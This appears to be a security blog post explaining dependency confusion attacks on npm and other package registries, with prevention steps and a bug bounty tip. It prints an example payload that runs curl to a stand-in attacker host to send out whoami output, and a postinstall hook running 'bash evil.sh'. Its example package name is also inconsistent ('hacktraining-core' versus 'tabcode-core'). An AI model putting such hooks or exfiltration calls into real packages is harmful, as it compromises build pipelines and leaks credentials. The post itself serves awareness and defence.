Dependency Confusion Attack in Supply Chain

Dependency Confusion Attack - Silent Supply Chain Killer
(TabCode Exclusive)

What Is a Dependency Confusion Attack?​

A Dependency Confusion attack is a dangerous software supply chain attack where an attacker abuses public package repositories like npm, PyPI, Maven, or NuGet to hijack internal or private dependencies.

Many teams think:
“It’s private, so it’s safe.”
That assumption is wrong.
If a private package name is not properly protected, a public package with the same name can be installed instead - silently

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How Dependency Confusion Works​

Here’s the core problem:

• Your app uses a private package
• The package manager also checks public repositories
• An attacker uploads a malicious package with the same name
• The system installs the public one, not yours

Result: malicious code runs inside your environment.

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Real-World Example​

Scenario:
Your internal application depends on this package:

"dependencies": {
  "hacktraining-core": "^1.0.0"
}

• tabcode-core is a private/internal package
• .npmrc or registry config is not locked correctly
• An attacker uploads tabcode-core to npm with version 99.0.0

What does npm do?
“Higher version found → installing...”
The malicious package wins.

Malicious Payload Example​

Here’s a simple but dangerous payload attackers use:

require('child_process')
  .exec('curl attacker.com/`whoami`');

Impact:

• Internal secrets leaked
• CI/CD pipelines compromised
• Cloud credentials stolen
• Full infrastructure exposure

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Advanced Attack Techniques (For Awareness Only )​

This section is for defensive understanding, not misuse.

Version Number Abuse​

• Internal version: 1.2.3
• Attacker version: 9999.0.0
• Package managers prefer higher versions by default

Scoped Package Confusion​

• Example: @company/auth
• If scopes are not enforced, attackers can publish the same name publicly

Typosquatting Attacks​

Attackers rely on human mistakes:

• tabcode-core
• tabc0de-core
• tabcode_c0re

CI systems install them blindly

CI/CD Token Abuse​

If your build server:

• Has internet access
• Uses auth tokens

A malicious package can run scripts automatically:

"scripts": {
  "postinstall": "bash evil.sh"
}

Game over.

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How to Prevent Dependency Confusion (Very Important)​

Strong defense is possible if you follow these steps.

Always Use a Private Registry​

Configure .npmrc correctly:

registry=https://registry.npmjs.org/
@company:registry=https://npm.company.internal

Disable Public Fallback​

• Block internet access in CI/CD
• Force internal registries only

Reserve Package Names​

Claim all internal package names on public registries
Even empty packages can save you from attacks.

Use Lock Files​

Never deploy without:

• package-lock.json
• yarn.lock
• poetry.lock

Monitor Dependency Logs​

Watch for:

• New dependencies
• Strange version numbers
• Unknown maintainers

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Bug Bounty Tip ​

If you hunt bugs, always check:

• package.json
• requirements.txt
• pom.xml
• CI/CD configuration files

Look for internal-looking package names
Many $10,000+ bounties were paid for valid Dependency Confusion reports

Final Thought​

“Your code might be secure - but your dependencies might not be.”